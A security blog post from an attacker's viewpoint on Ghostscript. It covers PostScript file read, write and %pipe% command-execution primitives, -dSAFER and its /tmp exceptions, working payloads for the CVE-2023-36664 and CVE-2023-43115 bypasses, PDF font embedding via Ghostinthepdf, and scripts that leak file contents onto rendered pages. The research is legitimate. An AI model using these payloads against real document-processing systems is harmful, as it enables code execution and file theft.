11 October 2023
Better dSAFER than Sorry - An Attacker's Overview of Ghostscript
Ghostscript is the backbone of document processing for a lot of web apps and programs. If you have never heard of Ghostscript yet, you still have very likely already used it a lot through various programs such as PDF viewers, office suites or document converters. However, since you are reading a security-centric blog, you may have already heard of Ghostscript due to various high-profile vulnerabilities that allowed for powerful attacks against it. Even without vulnerabilities in Ghostscript itself, there are still a lot of pitfalls and misconceptions that can easily result in serious vulnerabilities in programs that rely on Ghostscript.
Join us on a deep dive into how and where Ghostscript is commonly used, what PostScript is and how attackers can abuse it to achieve remote code execution (RCE) and arbitrary file disclosure using practical examples. We will also highlight some obscure facts about the security features of Ghostscript and how the recent bypasses (CVE-2023-36664 and CVE-2023-43115) for these security features works.
What is Ghostscript and how is it used?
At its core, Ghostscript is an interpreter for the PostScript and PDF page description languages. It can be used to render or print documents expressed in these languages or convert between different formats. Today, it is often used for common PDF-related functions such as:
- Merging of multiple PDF files
- Splitting of PDF files
- Generating previews and thumbnails of PDFs
- Extracting text from PDFs
If you wish to use Ghostscript directly, it can be used as a command-line
utility through the gs
command. To interpret a PostScript file and display the
rendered output to a window, it can simply be run as follows:
$ gs file.ps
Alternatively, an output device can be specified. For example, to convert a PDF
or PostScript file to a JPEG image the jpeg
output device can used:
$ gs -sDEVICE=jpeg -sOutputFile=image.jpg test.ps
However, Ghostscript is rarely used by end users directly, but many software applications utilize it to process PostScript or PDF files. Some examples include LibreOffice, Gimp, ImageMagick, Inkscape (through Cairo), or Evince (through libspectre).
What is PostScript and why is it Interesting for Attackers?
PostScript is a page description language similar to PDF. However, it was introduced way before PDF and is a fully featured programming language. This means besides describing documents or images, it also has some properties which are interesting for attackers: In PostScript, external files can be read, written to, or even executed.
In general, as Postscript is a stack-based language, function calls have to be read in reverse. First, the arguments to the function are pushed onto the stack and then the function is called. For example, to add two numbers using PostScript, the Ghostscript interpreter can be used as follows:
$ gs
GS> 10 20 add
The result of the operation is pushed onto the stack again. To print the current
objects on the stack to the console, stack
can be used:
GS<1> stack
30
As can be seen, the only object on the stack is the number 30, which is the result of adding the numbers 10 and 20.
Strings are encapsulated by round braces and variables are defined by using the
def
operator. The def
operator takes a name and a value as arguments. Names
are preceded with a slash. The following example defines the variable
test_variable
with the value “Hello World” and puts it on the stack, then
prints the stack:
GS> /test_variable (Hello World) def
GS> test_variable
GS><1> stack
Hello World
The value in angled brackets <1>
denotes the stack size.
To open a file, the file
function is used, which takes two strings from the stack:
- The file name (e.g.
/etc/passwd
) - The file mode (
r
for reading, andw
for writing)
In the following, we will include the argument -dNOSAFER
when running the Ghostscript command-line utility to disable some security mechanisms (see next section for the meaning of NOSAFER
). Later, we will see that these security mechanisms are not always present or can sometimes even be circumvented.
Using these basics, the knowledge from 30 year old forum posts and Adobe’s Reference Manual, we can open /etc/passwd
and read the first 100 bytes:
$ gs -dNOSAFER
GS> /infile (/etc/passwd) (r) file def
GS> /buff 100 string def
GS> infile buff readstring
GS<2> stack
true
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nol
readstring
returns a boolean which indicates if there were more bytes in the file than returned to buff
, and the content of buff
itself.
Similarly, content can be written to a file using writestring
:
GS> /outfile (outfile.txt) (w) file def
GS> /outstring (Hello World) def
GS> outfile outstring writestring
GS> outfile closefile
Another interesting function is filenameforall
, which iterates recursively over a specified directory and runs a procedure for each found filename:
GS> (test_directory/*) { stack pop } 4096 string filenameforall
test_directory/interesting_folder/also_interesting_file.txt
test_directory/interesting_file.txt
In the shown example a procedure is specified using { stack pop }
, which prints the current filename from the stack to the console.
The Ghostscript interpreter also supports executing shell commands by using the %pipe%
prefix when opening a file, for example to get the output of the id
command:
GS> /buff 100 string def
GS> /cmd_output (%pipe%id) (r) file def
GS> cmd_output buff readstring
GS><2> stack
false
uid=1000(user) gid=1000(user) groups=1000(user),10(wheel)
All these functions are powerful tools when an attacker can run PostScript code. However, in most cases none of the above code snippets will work, due to security restrictions imposed by Ghostscript.
-dSAFER
and its Exceptions
In the previous section we used -dNOSAFER
when invoking the Ghostscript command-line utility.
This command-line flag disables the security features of Ghostscript, which can be explicitly enabled using the flag -dSAFER
, for details see the Ghostscript documentation.
When -dSAFER
is enabled, (almost) no files can be opened in the PostScript context, nor can commands be executed using %pipe%
.
Using the --permit-file-*
flags, specific locations can be allowed however.
For various resources, Ghostscript allows the reading and writing of some directories, which are for the most part not that interesting for attackers. The following list includes the directories with read access in version 10.0.0:
%rom%Resource/CIDFSubst/
/temp/*
/tmp/*
%rom%Resource/*
%rom%Resource/Init/*
%rom%lib/*
/usr/local/share/ghostscript/10.00.0/Resource/Init/*
/usr/local/share/ghostscript/10.00.0/lib/*
/usr/local/share/ghostscript/10.00.0/Resource/Font/*
/usr/local/share/ghostscript/fonts/*
/usr/local/share/fonts/default/ghostscript/*
/usr/local/share/fonts/default/Type1/*
/usr/local/share/fonts/default/TrueType/*
/usr/lib/DPS/outline/base/*
/usr/openwin/lib/X11/fonts/Type1/*
/usr/openwin/lib/X11/fonts/TrueType/*
%rom%iccprofiles/*
Writing is for the following directories allowed:
/temp/*
/tmp/*
/dev/null
However, note that by default all files in /tmp/
and /temp/
can be read and
written
to
(or more specifically files in the folders specified in the TMP
or TEMP
environment variables). This is not really documented, and could potentially
contain interesting files depending on the system. Imagine for example a web app
where users’ uploads are initially stored in /tmp
before being processed.
-dSAFER
has an interesting history, as it was only somewhat recently set to be
enabled by default (since Ghostscript Version 9.50 released in 2019). At the
same time the --permit-file-*
flags were introduced. Unlike Artifex’s
statement that
there has never been an exploit proven to allow hijacking of a user’s system
this meant that in many cases untrusted user input into Ghostscript could lead
to remote code execution using %pipe%
, as it may not be clear to developers
that -dSAFER
needs to explicitly be set for old versions of Ghostscript.
Many projects can still be found in the wild where the flag is not explicitly enabled.
For two examples where the flag was only recently added see
Moodle
and
Mahara.
This isn’t to blame the developers of these projects, but to show real world
examples of why the default of the flag was dangerous for many use cases in
old Ghostscript versions.
Recent bypasses of -dSAFER
: CVE-2023-36664 and CVE-2023-43115
But even if -dSAFER
is explicitly activated, there have been many exploits to bypass the security mechanisms in the past.
One recent example, CVE-2023-36664 used Ghostscript’s wrong handling of path normalization.
Normally, path normalization is only needed for regular files, for example to normalize
/home/user/testfolder/../otherfolder/testfile
to
/home/user/otherfolder/testfile
Path normalization is used for validation to see if the specified path is included in the list of allowed paths a user might use.
The error was that %pipe%
was handled in the same way:
%pipe%id;/../testfile
was normalized to testfile
.
This usually would not be an issue, as -dSAFER
would also disallow reading files in the same directory.
However, as mentioned above, there exists a special Ghostscript-internal directory named %rom%lib
, which can be read even with -dSAFER
enabled.
Using this directory,
%pipe%id;/../%rom%lib/test
is normalized to %rom%lib/test
which passes the validator, while the actual interpreter runs the non-normalized command.
The most recent example, CVE-2023-43115, used the inkjet device, where the print-server-executable/command can be arbitrarily specified by the user.
Before 9.50 this could not be done after -dSAFER
had already been set, ideally only via command-line arguments.
For example, to write the output of id
into a temporary file, the following command can be executed:
$ gs -dSAFER -sDEVICE=ijs -sOutputFile=out.pdf -sIjsServer="id > /tmp/rtpt" example.pdf
GPL Ghostscript 10.01.2 (2023-06-21)
Copyright (C) 2023 Artifex Software, Inc. All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
GPL Ghostscript 10.01.2: Can't start ijs server "id > /tmp/rtpt"
**** Unable to open the initial device, quitting.
$ cat /tmp/rtpt
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
However, due to the changes to how -dSAFER
works after version 9.50, the check was not properly ported to the new system, and it could be abused to run arbitrary commands even with -dSAFER
enabled.
For this, the device can be opened in PostScript using the setpagedevice
function:
<< /OutputDevice /ijs /IjsServer (gnome-calculator) >> setpagedevice
More examples of such bypasses are CVE-2017-8291, CVE-2018-16802, CVE-2019-14811, CVE-2019-14812, CVE-2019-14813, CVE-2019-10216, CVE-2021-3781.
Processing PostScript in LibreOffice
As mentioned before, LibreOffice also uses Ghostscript to render PostScript files. This is particularly interesting, as it is used by many end users as a free alternative to the Microsoft Office suite. In addition to that, it is often used by backend systems to perform document conversions by running it in headless mode.
Almost all standard LibreOffice formats (odt
, ods
, odp
, odg
, even
docx
) support the inclusion of “Encapsulated PostScript” (EPS). This can be done
using the menu option “Insert -> Image…”. The image will then be rendered by
Ghostscript and displayed in the document, as can be seen
in the source code.
As a small fun fact, notice that instead of -dSAFER
, -dPARANOIDSAFER
is used, as in older versions (as in before version 7.04 in 2001) -dSAFER
only prevented writing and file control operations, but not reading.
To prohibit reading, -dPARANOIDSAFER
had to be used additionally. After 7.04, it is synonymous with -dSAFER
.
Also note that LibreOffice requires EPS files to include some headers in order to render it with Ghostscript:
%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox: 36 36 576 756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
Here the bounding box can be adjusted to similar dimensions as the underlying LibreOffice document, and if needed to increase the resoulution of the embedded image. For large listings it might also be useful to adjust the LibreOffice document size itself.
Processing PostScript in PDF Documents
Until now, all code and security features were specific to the PostScript portion of Ghostscript, but even in cases where only PDFs are processed PostScript is involved:
The problem is in the interaction of PostScript and PDF specific to older Ghostscript versions. Until version 9.56.1, Ghostscript used a PDF interpreter which was written in PostScript.
One specific interaction between the two languages was the use of PostScript fonts, which are interpreted directly in PostScript.
This was first publicised by neex in Ghostinthepdf who embedded PostScript code inside a PDF font object, which upon processing with Ghostscript is executed and the result is printed on the resulting page(s).
The tool is easy to use and comes with the short PostScript print_version.ps
, which prints the Ghostscript version on the page, if the file was processed with Ghostscript.
This is a good initial indicator to find out if a system is vulnerable to this particular attack.
To create a PDF document containing print_version.ps
, the following command line can be used:
$ ./ghostinthepdf print_version.ps print_version.pdf
To test the behaviour locally, run the following command (you will need an older version of Ghostscript):
$ gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -o output.pdf print_version.pdf
The result can be seen in the following, where on the left is the version which has not been processed, and on the right the one which has been processed by Ghostscript:
However, this only works in the old PDF engine, which was written in PostScript and has been replaced with a version written in C, mitigating this particular issue in newer versions of Ghostscript.
Practical PostScript Examples
Without the restrictions of -dSAFER
, exploiting Ghostscript can be done simply with %pipe%
and running shell commands, such as a reverse shell to channel data back to the attacker.
If we have no network access however, we need to extract the command output in another way if possible, for example by printing it to the page.
Moreover, if -dSAFER
is activated, most of the time we have no other choice than writing our own PostScript code to analyze the underlying system, and relying on having access to the output of the processed file.
To accommodate both scenarios, in this section multiple practical examples will be shown, which will ease the initial information gathering, listing of files, printing of files (including command output using the %pipe%
prefix), and writing of files.
The scripts in this section can be found in our GitHub repository.
To test these scripts, we used ps2pdf
to process them into a PDF file, or Evince to directly open the PostScript or the produced PDF.
ps2pdf
is bundled with Ghostscript and supports the same flags, so -dNOSAFER
or --permit-file-*
can be tested.
In all scripts, variables can be specified in the first few lines of the scripts, for example charactercount
to specify the amount of characters per line.
Version and -dSAFER
Information Gathering: print_version.ps
Before starting an attack, a useful information for an attacker is which Ghostscript version is used and if -dSAFER
is enabled.
We already mentioned Ghostinthepdf’s print_version.ps script, which displays the used Ghostscript version.
We extended the script to include a check for the -dSAFER
flag and if it is vulnerable to CVE-2023-36664.
The result can be seen in the following screenshot, where the script was included as an encapsulated PostScript image in a LibreOffice .odt
file, as well as opened directly using Evince:
File Listing: list_files.ps
When -dSAFER
is activated and thus no shell commands can be executed, the remaining interesting checks for an attacker are files and folders which can be accessed directly in PostScript, i.e. files in /tmp/
and /temp/
or files exposed by the --permit-file-*
flags.
However, except for the known default locations /tmp/
and /temp/
, the files exposed by the --permit-file-*
flags are usually not known to the attacker, as the list is cleared after Ghostscript’s initialization.
To get a list of files in the known locations, the following script is similar to the filenameforall
snippet above, but includes an error output and uses whole pages to display one file per line.
Note however, that filenameforall
will return nothing (not even an error) if the directory is not in --permit-file-*
nor /tmp/
or /temp/
.
The target location can be specified in the variable target_directory
.
File Extraction: print_file.ps
After having found the file we want to extract, we have to think about how we
want to extract it. In print_file.ps
, we provide multiple functions for
printing files onto the page: In order to print the content of files, the
functions PrintFileAsText
or PrintFileBase64
can be used,
e.g.:
(/etc/passwd) PrintFileAsText
This produces the following output (with -dNOSAFER
):
For binary files, some encoding is required for properly extracting the contents.
For this, we provide a function for Base64 encoding of binary data (base64Encode
), and a helper function to print encoded data on the page (PrintFileBase64
).
To use the script, comment out the preferred method of reading the file and adjust the filename near the end of the file.
Note that command output can also be used as a file, for example printing the output of the id
command can be done using:
(%pipe%id) PrintFileAsText
To extract the file from a processed PDF file which used the PrintFileBase64
function, the libpoppler
tool pdftotext
or Ghostscript itself can be used:
$ pdftotext processed.pdf - | tr -d '[:space:]' | base64 -d -i > out.bin
$ gs -q -dNOPAUSE -dBATCH -sDEVICE=txtwrite -sOUTPUTFILE="%stdout" printfile.pdf | tr -d '[:space:]' | base64 -d -i > out.bin
File Writing: write_file.ps
If we want to manipulate files on the system, the functions in write_file.ps
might be interesting.
Similar to file extraction, a Base64 decoder was implemented in the base64Decode
function to include arbitrary files in the PostScript file itself and write them to a specified path.
This is analogue to the file writing example above, but uses write
to write all base64-decoded bytes to the file:
/outfile (/tmp/testfile.txt) (w) file def
(SGVsbG8gV29ybGQhCg==) base64Decode { outfile exch write } forall
outfile closefile
To use the script, adjust the Base64-encoded text near the end of the file.
Who is vulnerable
The following table lists the versions of Ghostscript in commonly used LTS distributions (as of 11 October 2023):
Linux Distribution | End of Life | Ghostscript Version | -dSAFER default | Ghostinthepdf |
---|---|---|---|---|
Ubuntu 14.04 | April 2024 | 9.26 | NO | YES |
Ubuntu 16.04 | April 2026 | 9.26 | NO | YES |
Ubuntu 18.04 | April 2028 | 9.26 | NO | YES |
Ubuntu 20.04 | April 2030 | 9.50 | YES | YES |
Ubuntu 22.04 | April 2032 | 9.55 | YES | YES |
Debian 10 | June 2024 | 9.27 | NO | YES |
Debian 11 | June 2026 (tbd) | 9.53.3 | YES | YES |
Debian 12 | (tbd) | 10.0.0 | YES | NO |
CentOS 7 | June 2024 | 9.25 | NO | YES |
CentOS Stream 8 AppStream | May 2024 | 9.27 | NO | YES |
CentOS Stream 9 AppStream | May 2027 | 9.54 | YES | YES |
As can be seen, many distributions do not even set -dSAFER
as default, which means a simple user error, i.e. not using -dSAFER
, makes an application susceptible to exploiting.
Moreover, most distributions also allow PostScript to be included in PDFs through Ghostinthepdf, widening the attack surface to PDF processing.
Conclusion
Developers and users need to be aware of the security implications of using Ghostscript, specifically older versions of it. Especially when misconfigured older versions of Ghostscript are used, simply processing documents could lead to code execution. Many of the popular distributions ship these older versions of Ghostscript, making them potentially vulnerable to the misconfiguration. Furthermore, even with security parameters set, Ghostscript allows its PostScript interpreter to access the temporary path of the system, which could potentially contain files interesting for attackers.